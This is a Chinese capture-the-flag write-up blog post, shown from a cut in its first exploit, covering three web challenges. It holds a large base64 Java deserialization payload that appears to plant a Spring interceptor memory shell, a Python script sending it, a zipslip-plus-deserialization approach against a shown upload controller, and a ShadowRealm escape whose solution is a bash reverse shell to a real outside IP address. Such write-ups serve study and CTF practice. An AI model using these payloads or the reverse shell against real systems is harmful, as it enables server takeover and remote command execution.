GFhcnQHAQ8HARAMAREBFAcBFQwBFgEXAQAYamF2YS9pby9SYW5kb21BY2Nlc3NGaWxlAQACcncMAEsBGAwBGQEaAQAUY29tL2phdmFzZWMvQ21kY2xhc3MMARsBHAEAFWphdmEubGFuZy5DbGFzc0xvYWRlcgwBHQEeAQAjamF2YS5sYW5nLkNsYXNzTG9hZGVyJE5hdGl2ZUxpYnJhcnkBAA9qYXZhL2xhbmcvQ2xhc3MBABBqYXZhL2xhbmcvU3RyaW5nBwEfDAEgAIoMASEBIgcA/wwBIwEkDAElASYHAQAMAScBKAEAEGphdmEvdXRpbC9WZWN0b3IMASkBKgcBAQEAEGphdmEvbGFuZy9PYmplY3QMASsBLAwBLQEuDAEvATAMATEBMgwBMwE0BwE1DAE2ATcBADlvcmcuc3ByaW5nZnJhbWV3b3JrLndlYi5zZXJ2bGV0LkRpc3BhdGNoZXJTZXJ2bGV0LkNPTlRFWFQHATgMATkBOgEANW9yZy9zcHJpbmdmcmFtZXdvcmsvd2ViL2NvbnRleHQvV2ViQXBwbGljYXRpb25Db250ZXh0AQBSb3JnL3NwcmluZ2ZyYW1ld29yay93ZWIvc2VydmxldC9tdmMvbWV0aG9kL2Fubm90YXRpb24vUmVxdWVzdE1hcHBpbmdIYW5kbGVyTWFwcGluZwwBOwE8AQA+b3JnL3NwcmluZ2ZyYW1ld29yay93ZWIvc2VydmxldC9oYW5kbGVyL0Fic3RyYWN0SGFuZGxlck1hcHBpbmcBABNhZGFwdGVkSW50ZXJjZXB0b3JzAQAeamF2YS9sYW5nL05vU3VjaEZpZWxkRXhjZXB0aW9uAQAOamF2YS91dGlsL0xpc3QBACBqYXZhL2xhbmcvSWxsZWdhbEFjY2Vzc0V4Y2VwdGlvbgwBPQE+AQACb2sMAQgBMAEAQGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ydW50aW1lL0Fic3RyYWN0VHJhbnNsZXQBADJvcmcvc3ByaW5nZnJhbWV3b3JrL3dlYi9zZXJ2bGV0L0hhbmRsZXJJbnRlcmNlcHRvcgEAJWphdmF4L3NlcnZsZXQvaHR0cC9IdHRwU2VydmxldFJlcXVlc3QBACZqYXZheC9zZXJ2bGV0L2h0dHAvSHR0cFNlcnZsZXRSZXNwb25zZQEAOWNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9UcmFuc2xldEV4Y2VwdGlvbgEAFWphdmEvbGFuZy9DbGFzc0xvYWRlcgEAGGphdmEvbGFuZy9yZWZsZWN0L01ldGhvZAEAF2phdmEvbGFuZy9yZWZsZWN0L0ZpZWxkAQAdamF2YS9sYW5nL3JlZmxlY3QvQ29uc3RydWN0b3IBAAxnZXRQYXJhbWV0ZXIBABRzZXRDaGFyYWN0ZXJFbmNvZGluZwEAFShMamF2YS9sYW5nL1N0cmluZzspVgEACWdldFdyaXRlcgEAFygpTGphdmEvaW8vUHJpbnRXcml0ZXI7AQATamF2YS9pby9QcmludFdyaXRlcgEAB3ByaW50bG4BAAVmbHVzaAEABWNsb3NlAQAPcHJpbnRTdGFja1RyYWNlAQAQamF2YS9sYW5nL1N5c3RlbQEAA291dAEAFUxqYXZhL2lvL1ByaW50U3RyZWFtOwEAE2phdmEvaW8vUHJpbnRTdHJlYW0BABBqYXZhL3V0aWwvQmFzZTY0AQAKZ2V0RGVjb2RlcgEAB0RlY29kZXIBAAxJbm5lckNsYXNzZXMBABwoKUxqYXZhL3V0aWwvQmFzZTY0JERlY29kZXI7AQAYamF2YS91dGlsL0Jhc2U2NCREZWNvZGVyAQAGZGVjb2RlAQAWKExqYXZhL2xhbmcvU3RyaW5nOylbQgEAJyhMamF2YS9sYW5nL1N0cmluZztMamF2YS9sYW5nL1N0cmluZzspVgEABXdyaXRlAQAFKFtCKVYBAA5nZXRDbGFzc0xvYWRlcgEAGSgpTGphdmEvbGFuZy9DbGFzc0xvYWRlcjsBAAdmb3JOYW1lAQAlKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL0NsYXNzOwEAEWphdmEvbGFuZy9Cb29sZWFuAQAEVFlQRQEAEWdldERlY2xhcmVkTWV0aG9kAQBAKExqYXZhL2xhbmcvU3RyaW5nO1tMamF2YS9sYW5nL0NsYXNzOylMamF2YS9sYW5nL3JlZmxlY3QvTWV0aG9kOwEADXNldEFjY2Vzc2libGUBAAQoWilWAQAQZ2V0RGVjbGFyZWRGaWVsZAEALShMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9yZWZsZWN0L0ZpZWxkOwEAA2dldAEAJihMamF2YS9sYW5nL09iamVjdDspTGphdmEvbGFuZy9PYmplY3Q7AQAWZ2V0RGVjbGFyZWRDb25zdHJ1Y3RvcgEAMyhbTGphdmEvbGFuZy9DbGFzczspTGphdmEvbGFuZy9yZWZsZWN0L0NvbnN0cnVjdG9yOwEAB3ZhbHVlT2YBABYoWilMamF2YS9sYW5nL0Jvb2xlYW47AQALbmV3SW5zdGFuY2UBACcoW0xqYXZhL2xhbmcvT2JqZWN0OylMamF2YS9sYW5nL09iamVjdDsBAAphZGRFbGVtZW50AQAVKExqYXZhL2xhbmcvT2JqZWN0OylWAQADc2V0AQAnKExqYXZhL2xhbmcvT2JqZWN0O0xqYXZhL2xhbmcvT2JqZWN0OylWAQAGaW52b2tlAQA5KExqYXZhL2xhbmcvT2JqZWN0O1tMamF2YS9sYW5nL09iamVjdDspTGphdmEvbGFuZy9PYmplY3Q7AQA8b3JnL3NwcmluZ2ZyYW1ld29yay93ZWIvY29udGV4dC9yZXF1ZXN0L1JlcXVlc3RDb250ZXh0SG9sZGVyAQAYY3VycmVudFJlcXVlc3RBdHRyaWJ1dGVzAQA9KClMb3JnL3NwcmluZ2ZyYW1ld29yay93ZWIvY29udGV4dC9yZXF1ZXN0L1JlcXVlc3RBdHRyaWJ1dGVzOwEAOW9yZy9zcHJpbmdmcmFtZXdvcmsvd2ViL2NvbnRleHQvcmVxdWVzdC9SZXF1ZXN0QXR0cmlidXRlcwEADGdldEF0dHJpYnV0ZQEAJyhMamF2YS9sYW5nL1N0cmluZztJKUxqYXZhL2xhbmcvT2JqZWN0OwEAB2dldEJlYW4BACUoTGphdmEvbGFuZy9DbGFzczspTGphdmEvbGFuZy9PYmplY3Q7AQADYWRkAQAVKExqYXZhL2xhbmcvT2JqZWN0OylaACEAHQBGAAEARwACAAoASABJAAAACgBKAEkAAAAJAAEASwBMAAEATQAAAC8AAQABAAAABSq3AAGxAAAAAgBOAAAABgABAAAAGQBPAAAADAABAAAABQBQAFEAAAEJAFIAUwAAAAEAVABVAAIATQAAARAAAgAHAAAARSsSArkAAwIAOgQZBMYANywSBLkABQIALLkABgEAOgUZB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"""

hex_string = hex(len(payload))[2:]
hex_string = str(hex_string)
burp0_data = f"{hex_string}\r\n{payload}\r\n0\r\n\r\n"
res = requests.post(burp0_url, headers=burp0_headers, data=burp0_data)
print(res.text)

image.png
image.png
即可拿到flag,还是很好玩的一道题目,出题师傅用心了

Deserialize?Upload!

考点:heapdump文件泄露、文件覆盖
image.png
听出题人说是heapdump文件读取,我tm用github上开源工具读就是没读出来,那我有啥办法- -,预期解是说用visualVM工具- -
然后就是一个zipslip漏洞,写一个evil.class到jre/classes目录

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
//
// Source code recreated from a .class file by IntelliJ IDEA
// (powered by FernFlower decompiler)
//

package com.example.nochain.Controller;

import com.example.nochain.Utils.Coding;
import com.example.nochain.Utils.Information;
import com.example.nochain.Utils.SafeObjectInputStream;
import com.example.nochain.Utils.Unzip;
import java.io.ByteArrayInputStream;
import java.io.File;
import java.io.InputStream;
import java.nio.file.CopyOption;
import java.nio.file.Files;
import java.util.Base64;
import java.util.regex.Pattern;
import org.springframework.beans.factory.annotation.Value;
import org.springframework.stereotype.Controller;
import org.springframework.web.bind.annotation.GetMapping;
import org.springframework.web.bind.annotation.PostMapping;
import org.springframework.web.bind.annotation.RequestMapping;
import org.springframework.web.bind.annotation.RequestParam;
import org.springframework.web.bind.annotation.RequestPart;
import org.springframework.web.bind.annotation.ResponseBody;
import org.springframework.web.multipart.MultipartFile;

@Controller
@RequestMapping({"/admin"})
public class AdminController {
@Value("${file.upload.path}")
private String path;

public AdminController() {
}

@RequestMapping({"/*"})
public String index() {
return "admin";
}

@PostMapping({"/upload"})
@ResponseBody
public Information upload(@RequestPart MultipartFile file) throws Exception {
Information information = new Information();
String allowed = ".*(\\.zip)$";
String filename = file.getOriginalFilename();
if (!Pattern.matches(allowed, filename)) {
information.status = 0;
information.text = "仅支持zip格式";
return information;
} else {
InputStream inputStream = file.getInputStream();
byte[] b = new byte[4];
inputStream.read(b, 0, b.length);
String header = Coding.bytesToHexString(b).toUpperCase();
if (!header.equals("504B0304")) {
information.status = 0;
information.text = "hacker!";
return information;
} else {
String filepath = this.path + "/" + filename;
File res = new File(filepath);
if (res.exists()) {
information.status = 0;
information.text = "文件已存在";
return information;
} else {
Files.copy(file.getInputStream(), res.toPath(), new CopyOption[0]);
String path = filepath.replace(".zip", "");
File dir = new File(path);
dir.mkdirs();
Unzip.unzip(res, information, path);
information.status = 1;
information.filename = filepath;
information.text = "上传成功";
return information;
}
}
}
}

@GetMapping({"/deserialize"})
public void deserialize(@RequestParam("b64str") String b64str) throws Exception {
byte[] serialized = Base64.getDecoder().decode(b64str);
ByteArrayInputStream bis = new ByteArrayInputStream(serialized);
SafeObjectInputStream ois = new SafeObjectInputStream(bis);
ois.readObject();
}
}

有反序列化入口,但是过滤做死了
image.png
所以我们可以让恶意的evil.class继承serialable,写一个readobject就好了。
也没给出docker环境,那就不复现了,含量不是特别大

yet another sandbox

考点:js沙盒逃逸,dynamic import 逃逸

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
import express from 'express';
import path from 'path';


const __dirname = path.resolve();

const app = express();
app.use(express.json());

app.use('/asserts', express.static('asserts'));

function runInShadowRealm(code) {
let shadowRealm = new ShadowRealm();
let result = shadowRealm.evaluate(code);
shadowRealm = null;
return result;
}

app.get('/', (_, res) => {
return res.sendFile(__dirname+'/index.html');
});

app.post('/api/run', async (req, res) => {
try{
let { code } = req.body;
var msg = await runInShadowRealm(code);
} catch(error) {
var msg = error.toString();
}
res.json({"msg": msg});
});


app.listen(1337, () => {
console.log('Server listening on port 1337');
})

一个shadowRealm沙盒逃逸。其实好像也没有逃逸,fuzz一下也可以rce

1
2
import('child_process').then(m=>m.execSync('bash -c "bash -i >& /dev/tcp/8.130.24.188/7777 <&1"'));
1;

image.png

About this Post

This post is written by Boogipop, licensed under CC BY-NC 4.0.

#WriteUp